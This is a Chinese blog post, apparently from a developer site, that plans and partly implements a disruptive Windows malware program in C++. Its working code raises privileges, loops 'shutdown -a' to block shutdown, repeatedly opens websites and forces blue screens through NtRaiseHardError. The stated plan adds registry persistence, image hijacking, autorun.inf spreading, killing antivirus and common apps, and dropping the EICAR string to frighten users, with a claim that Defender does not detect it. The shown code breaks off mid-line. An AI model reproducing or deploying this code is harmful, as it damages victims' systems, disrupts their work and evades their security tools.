本人思路
打开后不显示窗口,立刻将自己(病毒.exe)设置为隐藏状态,并提升自己的权限,以搞更多破坏。
修改注册表,设置为开机自启动,再设置映像劫持。然后在提升过权限的情况下锁死自己,可以有一点防杀的功效。
在C盘D盘释放autorun.inf文件,一点击资源管理器中的C盘D盘图标立刻再运行病毒.exe(防止注册表修改不成功后无法开机自启,这时点击又可以运行,等于加了双保险,总会在用户不经意间启动)。
为防止用户突然关机,一直使用shutdown -a 命令来取消关机。
每隔一段时间打开一个网页。
在一段时间内调用ntdll.dll的NtRaiseHardError以造成蓝屏。
爆杀常用应用程序,如微软Office系列、Windows下主流浏览器(包括Microsoft Edge、Google Chrome和IE)、Windows自带实用应用程序(写字板、记事本、画图、任务管理器)和其他应用程序(微信、腾讯会议、360、极域课堂、Dev-C++和其他一些杀毒软件)。
释放欧洲计算机防病毒协会的反病毒测试代码X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*,并让Microsoft Defender(旧版为Windows Defender)进行快速扫描,会进行病毒报警,引起用户恐慌(本人已在VirusTotal上测试过了,Microsoft Defender(旧版为Windows Defender)扫不出来我的病毒.exe,所以不用担心被暴露)
将3~8项的功能实现在5个线程里,效率高。
最后就是代码啦!C++代码见下
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <direct.h>
using namespace std;
BOOL UpPrivilegeValue()//提个权限
{
HANDLE hToken=0;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken))
{
return FALSE;
}
LUID luid;
if(!LookupPrivilegeValue(0,SE_DEBUG_NAME,&luid))
{
CloseHandle(hToken);
return FALSE;
}
TOKEN_PRIVILEGES Tok;
Tok.PrivilegeCount=1;
Tok.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
Tok.Privileges[0].Luid=luid;
if(FALSE==AdjustTokenPrivileges(hToken,FALSE,&Tok,sizeof(Tok),0,0))
{
CloseHandle(hToken);
return FALSE;
}
if(GetLastError()==ERROR_NOT_ALL_ASSIGNED)
{
CloseHandle(hToken);
return FALSE;
}
CloseHandle(hToken);
return TRUE;
}
DWORD WINAPI NOSHUT(LPVOID Param)
{
while(1)
{
system("shutdown -a");//防止关机
Sleep(500);
}
}
DWORD WINAPI WEB(LPVOID Param)
{
while(1)
{
Sleep(30000);
system("start luogu.com.cn");
Sleep(30000);
system("start cn.bing.com");
Sleep(30000);
system("start zzcjas.github.io");
Sleep(30000);
system("start github.com");
Sleep(30000);
system("start githubs.com");
Sleep(30000);
system("start luogu.org");//开网站吓唬用户
}
}
DWORD WINAPI BSOD(LPVOID Param)
{
while(1)
{
Sleep(950000);
HMODULE ntdll = LoadLibrary("ntdll.dll");
FARPROC RtlAdjPriv=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROC NtRaiseHardErr=GetProcAddress(ntdll,"NtRaiseHardError");
unsigned char ErrKill;
long unsigned int HDErr;
((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13,true,false,&ErrKill);
((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233,0,0,0,6, &HDErr);
}
}//吓唬用户的蓝屏
DWORD WINAPI FILEop(LPVOID Param)
{
char pathn[6145];
ZeroMemory(&pathn,sizeof(pathn));
_getcwd(pathn,6145);
string p=pathn;
string kkk="";
if(p.find("C:\\")!=string::npos)
{
kkk="C:\\autorun.inf";
}
else if(p.find("D:\\")!=string::npos)
{
kkk="D:\\autorun.inf";
}
else
{
kkk="E:\\autorun.inf";
}
string autorun="[AutoRun]\nOpen=";
a

这篇博客介绍了如何使用C++编写一种恶意软件,该软件能够隐藏自身、提升权限、设置开机自启动、释放autorun.inf文件、防止关机、定时打开网页、触发蓝屏、关闭常见应用以及利用EICAR测试字符串欺骗防病毒软件。所有功能通过五个线程高效执行,代码已在Dev-C++ 5.11中编译通过,并提供了Github链接。

4万+

被折叠的 条评论
为什么被折叠?



